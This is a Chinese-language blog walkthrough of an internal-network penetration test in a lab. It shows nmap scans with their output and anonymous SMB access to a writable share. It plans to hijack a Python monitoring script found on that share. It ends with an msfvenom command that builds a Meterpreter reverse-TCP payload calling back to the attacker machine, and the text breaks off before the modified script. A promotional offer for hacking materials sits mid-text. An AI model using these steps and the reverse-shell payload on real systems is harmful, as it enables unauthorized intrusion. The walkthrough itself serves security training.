渗透实战之内网渗透流程 _内网渗透

0x00 前言
一个完整的内网渗透过程。
0x01 案例分析
实验环境：

目标环境：10.0.0.0/24, 10.0.1.0/24
攻击主机：10.0.0.5 (Kali), 10.0.0.7 (windows)

渗透过程：
基本的主机探测：

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txtroot@kali:~# cat online.txt | grep -i upHost: 10.0.0.1 ()Status: UpHost: 10.0.0.2 ()Status: UpHost: 10.0.0.7 ()Status: UpHost: 10.0.0.9 ()Status: UpHost: 10.0.0.11 ()Status: UpHost: 10.0.0.5 ()Status: Up# Nmap done at Wed May 30 06:10:17 2018 -- 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意选取其中的一个online的IP（如：10.0.0.9）进一步探测：

root@kali:~# nmap -sV -A -O 10.0.0.9Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTCNmap scan report for 10.0.0.9Host is up (0.00048s latency).Not shown: 990 closed portsPORTSTATE SERVICEVERSION135/tcpopenmsrpcMicrosoft Windows RPC139/tcpopennetbIOS-ssnMicrosoft Windows netbios-ssn445/tcpopenmicrosoft-dsWindows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds3389/tcpopenms-wbt-server Microsoft Terminal Service| ssl-cert: Subject: commonName=Monitor| Not valid before: 2018-05-27T07:03:14|_Not valid after:2018-11-26T07:03:14|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.49152/tcp openmsrpcMicrosoft Windows RPC49153/tcp openmsrpcMicrosoft Windows RPC49154/tcp openmsrpcMicrosoft Windows RPC49158/tcp openmsrpcMicrosoft Windows RPC49159/tcp openmsrpcMicrosoft Windows RPC49165/tcp openmsrpcMicrosoft Windows RPCmac Address: 0A:14:2C:84:E9:D2 (Unknown)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ )....Network Distance: 1 hopService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: mean: 4s, deviation: 0s, median: 4s|_nbstat: NetBIOS name: MONITOR, NetBIOS user: <unknown>, NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)| smb-os-discovery:|OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)|OS CPE: cpe:/o:microsoft:windows_server_2008::sp1|Computer name: Monitor|NetBIOS computer name: MONITORx00|Workgroup: WORKGROUPx00|_System time: 2018-05-30T06:14:01+00:00| smb-security-mode:|account_used: guest|authentication_level: user|challenge_response: supported|_message_signing: disabled (dangerous, but default)| smb2-security-mode:|2.02:|_Message signing enabled but not required| smb2-time:|date: 2018-05-30 06:14:01|_start_date: 2018-05-30 04:32:09

从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP ，继续探测.
此时，我们发现该主机存在一个可读写的share folder 10.0.0.9share:

root@kali:~# smbclient //10.0.0.9/share -NWARNING: The "syslog" option is deprecatedTry "help" to get a list of possible commands.smb: > ls.D0Wed May 30 06:16:59 2018..D0Wed May 30 06:16:59 2018logs.txtA39404Wed May 30 06:19:20 2018processMonitor.pyA576Mon May 28 06:56:33 20187863807 blocks of size 4096. 1680653 blocks availablesmb:

为了进一步了解，登录我们用于渗透的另一台Windows主机（10.0.0.7）。

文章插图

【一>所有资源关注我，私信回复“资料”获取<一】
1、很多已经买不到的绝版电子书
2、安全大厂内部的培训资料
3、全套工具包
4、100份src源码技术文档
5、网络安全基础入门、linux、web安全、攻防方面的视频
6、应急响应笔记 7、网络安全学习路线
8、ctf夺旗赛解析
9、WEB安全入门笔记

发现，这个共享文件夹里包含了一个定期监控运行进程的Python脚本。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(
img-tz51vlui-1651236284775)(https://upload-images.jianshu.io/upload_images/26472780-f21373da4281a975.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
由于该文件夹可读写，我们可以生成并放置一个meterpreter的payload ，然后修改该python脚本来执行它，这样我们就可以得到一个meterpreter session了。
root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe修改python脚本如下：